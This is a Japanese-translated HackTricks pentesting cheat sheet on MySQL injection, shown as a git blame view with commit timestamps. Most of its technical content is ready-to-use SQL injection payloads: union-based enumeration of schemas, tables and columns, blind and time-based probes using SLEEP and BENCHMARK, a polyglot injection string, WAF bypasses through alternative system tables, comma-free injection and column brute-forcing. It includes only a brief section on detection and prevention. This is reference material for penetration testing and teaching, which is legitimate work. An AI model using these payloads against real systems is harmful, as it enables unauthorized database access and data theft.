hacktricks/pentesting-web/sql-injection/mysql-injection/README.md

295 lines
17 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# MySQLインジェクション
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
## Comments
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
2023-07-07 23:42:27 +00:00
## おもしろい関数
2023-07-07 23:42:27 +00:00
### Mysqlの確認:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
2023-07-07 23:42:27 +00:00
### 便利な関数
The following functions can be useful when performing MySQL injection:
以下の関数は、MySQLインジェクションを実行する際に役立つことがあります。
- **version()**: This function returns the version of the MySQL server.
- **version()**: この関数は、MySQLサーバーのバージョンを返します。
- **database()**: This function returns the name of the current database.
- **database()**: この関数は、現在のデータベースの名前を返します。
- **user()**: This function returns the username used to connect to the MySQL server.
- **user()**: この関数は、MySQLサーバーに接続するために使用されるユーザー名を返します。
- **current_user()**: This function returns the current user.
- **current_user()**: この関数は、現在のユーザーを返します。
- **@@hostname**: This variable returns the hostname of the MySQL server.
- **@@hostname**: この変数は、MySQLサーバーのホスト名を返します。
- **@@datadir**: This variable returns the data directory of the MySQL server.
- **@@datadir**: この変数は、MySQLサーバーのデータディレクトリを返します。
- **@@basedir**: This variable returns the base directory of the MySQL server.
- **@@basedir**: この変数は、MySQLサーバーのベースディレクトリを返します。
- **@@version_compile_os**: This variable returns the operating system on which the MySQL server was compiled.
- **@@version_compile_os**: この変数は、MySQLサーバーがコンパイルされたオペレーティングシステムを返します。
- **@@version**: This variable returns the version of the MySQL server.
- **@@version**: この変数は、MySQLサーバーのバージョンを返します。
- **@@global.version**: This variable returns the global version of the MySQL server.
- **@@global.version**: この変数は、MySQLサーバーのグローバルバージョンを返します。
- **@@global.version_comment**: This variable returns the global version comment of the MySQL server.
- **@@global.version_comment**: この変数は、MySQLサーバーのグローバルバージョンコメントを返します。
- **@@global.hostname**: This variable returns the global hostname of the MySQL server.
- **@@global.hostname**: この変数は、MySQLサーバーのグローバルホスト名を返します。
- **@@global.datadir**: This variable returns the global data directory of the MySQL server.
- **@@global.datadir**: この変数は、MySQLサーバーのグローバルデータディレクトリを返します。
- **@@global.basedir**: This variable returns the global base directory of the MySQL server.
- **@@global.basedir**: この変数は、MySQLサーバーのグローバルベースディレクトリを返します。
2023-07-07 23:42:27 +00:00
- **@@global.version_compile_os**: This variable returns the global operating system on which the MySQL server was compiled.
2023-07-07 23:42:27 +00:00
- **@@global.version_compile_os**: この変数は、MySQLサーバーがコンパイルされたグローバルオペレーティングシステムを返します。
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
2023-07-07 23:42:27 +00:00
## すべてのインジェクション
2023-07-07 23:42:27 +00:00
### MySQLインジェクション
2023-07-07 23:42:27 +00:00
MySQLインジェクションは、ウェブアプリケーションのセキュリティ上の脆弱性であり、攻撃者がSQLクエリを実行するために悪意のあるコードを注入することができます。これにより、攻撃者はデータベース内の情報を取得したり、データベースを操作したりすることができます。
### インジェクションの種類
以下に、MySQLインジェクションの一般的な種類を示します。
- **Union-based SQL Injection**: 攻撃者はUNION演算子を使用して、複数のSQLクエリの結果を結合することができます。これにより、攻撃者はデータベースから情報を取得することができます。
- **Boolean-based SQL Injection**: 攻撃者は真偽値を使用して、条件式を評価することができます。これにより、攻撃者はデータベースから情報を取得することができます。
- **Time-based SQL Injection**: 攻撃者は時間の遅延を利用して、条件式を評価することができます。これにより、攻撃者はデータベースから情報を取得することができます。
2023-07-07 23:42:27 +00:00
- **Error-based SQL Injection**: 攻撃者はエラーメッセージを利用して、データベースの情報を取得することができます。
2023-07-07 23:42:27 +00:00
- **Out-of-band SQL Injection**: 攻撃者はデータベースとは異なる通信チャネルを使用して情報を取得することができます。
2023-07-07 23:42:27 +00:00
### インジェクションの検出と防止
MySQLインジェクションを検出および防止するためには、以下の手順を実行することが重要です。
1. 入力検証: ウェブアプリケーションは、入力データを適切に検証する必要があります。入力データのエスケープやサニタイズを行うことで、インジェクション攻撃を防ぐことができます。
2. パラメータ化されたクエリ: クエリパラメータを使用することで、SQL文にユーザー入力を直接組み込むことを避けることができます。これにより、インジェクション攻撃を防ぐことができます。
3. 最小特権の原則: データベースのユーザーには、必要最小限の権限しか与えないようにすることが重要です。これにより、攻撃者がデータベースを操作することを制限することができます。
4. セキュリティアップデート: データベースおよびウェブアプリケーションのセキュリティアップデートを定期的に適用することが重要です。これにより、既知の脆弱性に対する保護を強化することができます。
MySQLインジェクションは、ウェブアプリケーションのセキュリティ上の重要な脆弱性です。適切な対策を講じることで、攻撃者からのデータベースへの不正アクセスを防ぐことができます。
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
## フロー
2023-07-07 23:42:27 +00:00
「モダンな」バージョンの **MySQL** では、"_**information\_schema.tables**_" を "_**mysql.innodb\_table\_stats**_**"** に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
2023-07-07 23:42:27 +00:00
### **1つの値のみ**
* `group_concat()`
* `Limit X,1`
2023-07-07 23:42:27 +00:00
### **一つずつブラインド**
2023-07-07 23:42:27 +00:00
* `substr(version(),X,1)='r'`または`substring(version(),X,1)=0x70`または`ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
2023-07-07 23:42:27 +00:00
### **ブラインド追加**
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
* `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
* `SELECT INSTR('foobarbar', 'fo...')=1`
2023-07-07 23:42:27 +00:00
## 列の数を検出
2023-07-07 23:42:27 +00:00
単純なORDERを使用してください。
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2023-07-07 23:42:27 +00:00
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この大会はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2023-07-07 23:42:27 +00:00
## MySQLユニオンベースの攻撃
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
2022-10-25 15:56:49 +00:00
## SSRF
2023-07-07 23:42:27 +00:00
**[ここでMysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます](mysql-ssrf.md)**。
2023-07-07 23:42:27 +00:00
## WAFバイパスのトリック
2023-07-07 23:42:27 +00:00
### Information\_schemaの代替手段
2023-07-07 23:42:27 +00:00
"モダン"なバージョンの**MySQL**では、_**information\_schema.tables**_を_**mysql.innodb\_table\_stats**_または_**sys.x$schema\_flattened\_keys**_または**sys.schema\_table\_statistics**に置き換えることができます。
![](<../../../.gitbook/assets/image (154).png>)
![](<../../../.gitbook/assets/image (155).png>)
2023-07-07 23:42:27 +00:00
### カンマなしのMySQLインジェクション
2023-07-07 23:42:27 +00:00
カンマを使用せずに2つの列を選択します[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma))。
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
2023-07-07 23:42:27 +00:00
### 列名を知らない場合の値の取得
2023-07-07 23:42:27 +00:00
ある時点でテーブルの名前はわかっているが、テーブル内の列名がわからない場合、次のような方法で列の数を見つけることができます。
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
2023-07-07 23:42:27 +00:00
仮定すると、2つの列があります最初の列はIDで、もう1つはフラグです。フラグの内容を文字ごとにブルートフォースで試すことができます。
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
2023-07-07 23:42:27 +00:00
詳細は[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)にあります。
2023-07-07 23:42:27 +00:00
### MySQLの歴史
2023-07-07 23:42:27 +00:00
MySQL内で他の実行を見ることができます。テーブル**sys.x$statement\_analysis**を読み込むことで。
2023-07-07 23:42:27 +00:00
### バージョンの代替案
```
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を使命**として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<details>
2022-04-28 16:01:33 +00:00
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>